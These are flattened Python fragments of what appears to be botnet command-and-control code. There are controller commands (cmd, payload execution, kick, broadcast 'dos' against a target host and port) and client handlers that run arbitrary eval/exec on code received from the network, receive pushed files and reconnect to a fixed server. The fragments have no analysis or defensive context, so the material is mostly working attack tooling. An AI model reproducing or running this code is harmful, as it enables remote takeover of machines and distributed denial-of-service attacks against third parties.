def event_paykill(self, packet): try: self.activePayloads[packet.read()].kill() except KeyError: self.send( Packet("info", "Can not find payload %s." % packet.read())) else: self.send(Packet("info", "Killed payload."))
def send_file(self, file, name): with open(file, "rb") as f: self.send(Packet("new_file", name)) while True: chunk = f.read(RECEIVE_BUFFER - 16) if not chunk: break p = Packet("file_data", chunk) self.send(p)
def event_execute(self, packet): try: data = PayloadPlayer(PAYLOADS[packet.read().split(" ")[0]], self).execute(packet.read()) except KeyError: self.send( Packet("info", "Can not find payload %s." % packet.read())) else: self.send(Packet("info", data))
def distribute_file(self, file, name): with open(file, "rb") as f: for i in self: i.send(Packet("new_file", name)) while True: chunk = f.read(RECEIVE_BUFFER - 16) if not chunk: break p = Packet("file_data", chunk) for i in self: i.send(p)
def event_cmd(self, packet): try: data = eval(packet.read()) self.send(Packet("info", str(data))) except Exception as e: self.send(Packet("info", str("%s: %s" % (type(e), e)))) try: exec(packet.read()) self.send(Packet("info", str("Run on exec"))) except Exception as e: self.send(Packet("info", str("%s: %s" % (type(e), e))))
def ckickdis(x): a = {} for i in ds.copy(): ds[i].send(Packet("cleaner")) x = ds[i].kill("Kicked all.") a[x] = a.get(x, 0) + 1 return a
def connect(self): self.pingdelay = time.time() + PING_DELAY if not self.client.send(Packet("ping")): print("No connect, retrying.") self.client = Client(HOST, PORT) self.client.start() return False return True
def event_new_file(self, packet): name = packet.read() self.file_buffer = name os.makedirs( "." if os.path.dirname(name) == "" else os.path.dirname(name), exist_ok=True) with open(name, "w") as f: f.close() self.send(Packet("info", "Recieving file '%s'." % name))
def ccmd(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] return ds[x[0]].send(Packet("cmd", x[1]))
def cpaylist(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] return ds[x[0]].send(Packet("execute_list"))
def event_execute_list(self, packet): self.send(Packet("execute", str(list(PAYLOADS.keys()))))
def event_ping(self, packet): self.send(Packet("pong"))
def error(self, e): if self.manager: return self.manager.send(Packet("info", str(e))) print("paylod error: %s" % e)
def cpay(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] return ds[x[0]].send( Packet("execute", " ".join([y for y in x[1::] if y != None])))
def event_cleaner(self, packet): self.send(Packet("active", str(self.activePayloads)))
def cddos(x): return ds.distribute_packet(Packet("execute", "dos %s %s" % (x[0], x[1])))
def cpaydis(x): return ds.distribute_packet( Packet("execute", " ".join([y for y in x if y != None])))
def ckick(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] ds[x[0]].send(Packet("cleaner")) return ds[x[0]].kill("Kicked.")
def cpaykilldis(x): return ds.distribute_packet(Packet("paykill", x[1]))
def cpaykill(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] return ds[x[0]].send(Packet("paykill", x[1]))
def cactive(x): if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0] return ds[x[0]].send(Packet("active"))
def ckillddos(x): return ds.distribute_packet(Packet("paykill", "dos"))